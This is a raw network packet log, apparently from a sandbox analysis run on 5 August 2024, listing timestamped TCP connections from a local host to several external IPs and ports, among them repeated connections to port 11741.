Aug 5, 2024 11:57:43.924591064 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:43.924602032 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:43.924669027 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:43.924679995 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:43.924700975 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:43.924711943 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:43.924789906 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:43.924820900 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:43.924845934 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:43.924856901 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:43.924948931 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.132525921 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.133641005 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.158139944 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.158163071 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158189058 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158210039 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158252001 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.158267021 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158308029 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158338070 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.158358097 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.158380032 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158392906 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.158395052 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158404112 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158524036 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.158538103 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158566952 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158603907 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158627033 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.158627033 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.158642054 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158688068 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.158699989 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.158737898 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.158770084 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.368505001 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.368571997 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:44.808525085 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:44.809026003 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.064378977 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.064404964 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.064426899 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.064436913 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.064476967 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.064512968 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.064521074 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.064534903 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.064610004 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.064616919 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.064630032 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.064641953 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.064697981 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.064703941 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.064717054 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.064733028 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.064788103 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.064829111 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.272547007 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.274642944 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.708549976 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.708616972 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.865905046 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.865958929 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.865993023 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866041899 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866059065 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866086006 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866108894 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866121054 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866151094 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866168976 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866194010 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866216898 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866218090 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866235971 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866266966 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866283894 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866326094 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866369009 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866400003 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866400003 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866420984 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866437912 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866468906 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866487980 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866538048 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866556883 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866569042 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866625071 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866669893 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866669893 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866683960 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866736889 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866764069 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:45.866774082 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:45.866836071 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.076502085 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.076584101 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.427000999 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.427035093 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.427067041 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.427133083 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.427151918 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.427201033 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.427212954 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.427236080 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.427264929 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.427264929 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.427278996 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.427350044 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.427373886 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.427433014 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.427437067 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.427447081 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.427481890 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.427563906 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.632513046 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.632570982 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.651259899 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.651274920 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651293039 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651304960 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651355028 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.651362896 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651402950 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.651410103 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651423931 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651429892 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651454926 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.651460886 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651565075 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.651572943 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651602983 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651628971 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.651638031 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651648998 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651663065 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.651671886 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651725054 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.651731968 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651743889 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.651768923 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.651814938 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:46.856540918 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:46.856623888 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:47.047861099 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:47.047894955 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:47.047930956 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:47.047951937 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:47.048032999 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:47.048048973 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:47.048082113 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:47.048141003 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:47.048217058 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:47.048245907 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:47.048341036 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:47.236386061 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:47.236407995 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:47.236430883 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:47.236460924 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:47.236500025 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:47.236527920 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:47.236558914 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:47.236558914 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:47.236596107 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:47.682440996 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:48.743792057 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:49.410212040 CEST	49731	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:57:49.410274029 CEST	443	49731	185.199.110.133	192.168.2.4
Aug 5, 2024 11:57:49.990993023 CEST	49738	9200	192.168.2.4	34.149.22.228
Aug 5, 2024 11:57:49.997742891 CEST	9200	49738	34.149.22.228	192.168.2.4
Aug 5, 2024 11:57:49.997826099 CEST	49738	9200	192.168.2.4	34.149.22.228
Aug 5, 2024 11:57:49.997874975 CEST	49738	9200	192.168.2.4	34.149.22.228
Aug 5, 2024 11:57:50.005964041 CEST	9200	49738	34.149.22.228	192.168.2.4
Aug 5, 2024 11:57:50.514862061 CEST	9200	49738	34.149.22.228	192.168.2.4
Aug 5, 2024 11:57:50.574399948 CEST	49738	9200	192.168.2.4	34.149.22.228
Aug 5, 2024 11:57:52.949120998 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:52.949172020 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:52.949254990 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:52.950056076 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:52.950078964 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.419311047 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.419800043 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.419850111 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.421545982 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.421618938 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.424001932 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.424101114 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.424218893 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.424236059 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.574434042 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.640048981 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.640177965 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.640264988 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.640288115 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.640340090 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.640388966 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.640397072 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.640616894 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.640676975 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.643748999 CEST	49739	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.643810034 CEST	443	49739	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.644306898 CEST	49740	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.644354105 CEST	443	49740	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.644427061 CEST	49740	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.644788980 CEST	49740	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.644803047 CEST	443	49740	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:53.820223093 CEST	49740	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:57:53.864509106 CEST	443	49740	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:54.101695061 CEST	443	49740	104.26.3.16	192.168.2.4
Aug 5, 2024 11:57:54.101783037 CEST	49740	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:14.127711058 CEST	49741	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:14.127821922 CEST	443	49741	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:14.127918005 CEST	49741	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:14.128367901 CEST	49741	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:14.128407955 CEST	443	49741	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:14.622016907 CEST	443	49741	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:14.622524023 CEST	49741	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:14.622561932 CEST	443	49741	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:14.624068975 CEST	443	49741	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:14.624147892 CEST	49741	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:14.626187086 CEST	49741	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:14.626301050 CEST	443	49741	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:14.626406908 CEST	49741	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:14.626429081 CEST	443	49741	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:14.683796883 CEST	49741	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:14.903908014 CEST	443	49741	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:14.904078007 CEST	443	49741	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:14.904146910 CEST	49741	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:14.904764891 CEST	49741	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:14.904792070 CEST	443	49741	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:15.514344931 CEST	49742	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:15.519527912 CEST	11741	49742	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:15.519609928 CEST	49742	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:15.519839048 CEST	49742	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:15.524638891 CEST	11741	49742	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:17.494503021 CEST	11741	49742	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:17.494636059 CEST	49742	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:17.494679928 CEST	49742	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:17.495616913 CEST	49742	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:17.499511957 CEST	11741	49742	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:17.500343084 CEST	11741	49742	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:20.518413067 CEST	49744	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:20.518449068 CEST	443	49744	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:20.518506050 CEST	49744	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:20.518958092 CEST	49744	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:20.518971920 CEST	443	49744	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:21.074337006 CEST	443	49744	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:21.076894999 CEST	49744	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:21.076921940 CEST	443	49744	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:21.078385115 CEST	443	49744	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:21.078453064 CEST	49744	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:21.080436945 CEST	49744	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:21.080540895 CEST	443	49744	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:21.081928968 CEST	49744	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:21.081937075 CEST	443	49744	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:21.168123960 CEST	49744	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:21.571820021 CEST	443	49744	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:21.572010040 CEST	443	49744	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:21.572077990 CEST	49744	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:21.572623014 CEST	49744	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:21.572639942 CEST	443	49744	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:22.265448093 CEST	49745	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:22.270462036 CEST	11741	49745	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:22.270534039 CEST	49745	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:22.270713091 CEST	49745	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:22.275490046 CEST	11741	49745	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:24.266779900 CEST	11741	49745	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:24.266905069 CEST	49745	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:24.266967058 CEST	49745	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:24.268295050 CEST	49745	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:24.272320032 CEST	11741	49745	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:24.273235083 CEST	11741	49745	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:27.187901974 CEST	49746	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:27.187951088 CEST	443	49746	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:27.188024044 CEST	49746	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:27.188441992 CEST	49746	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:27.188453913 CEST	443	49746	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:27.666594028 CEST	443	49746	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:27.667073965 CEST	49746	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:27.667087078 CEST	443	49746	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:27.670865059 CEST	443	49746	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:27.670943022 CEST	49746	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:27.672938108 CEST	49746	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:27.673063040 CEST	443	49746	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:27.673113108 CEST	49746	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:27.673119068 CEST	443	49746	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:27.884506941 CEST	443	49746	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:27.884641886 CEST	49746	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:28.152925014 CEST	443	49746	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:28.153023958 CEST	443	49746	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:28.153107882 CEST	49746	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:28.153784990 CEST	49746	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:28.153810024 CEST	443	49746	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:29.059760094 CEST	49747	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:29.286855936 CEST	11741	49747	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:29.286992073 CEST	49747	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:29.287216902 CEST	49747	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:29.292186022 CEST	11741	49747	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:31.261266947 CEST	11741	49747	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:31.261444092 CEST	49747	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:31.261490107 CEST	49747	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:31.263427019 CEST	49747	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:31.266515970 CEST	11741	49747	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:31.268192053 CEST	11741	49747	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:34.651365995 CEST	49748	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:34.651407003 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:34.651478052 CEST	49748	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:34.651920080 CEST	49748	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:34.651933908 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.134330034 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.134810925 CEST	49748	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.134825945 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.138571024 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.138652086 CEST	49748	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.140760899 CEST	49748	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.141002893 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.141067028 CEST	49748	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.141083002 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.183823109 CEST	49748	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.362571955 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.362700939 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.362782001 CEST	49748	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.362786055 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.362814903 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.362858057 CEST	49748	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.362895012 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.363154888 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.363204002 CEST	49748	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.363260031 CEST	49748	443	192.168.2.4	104.26.3.16
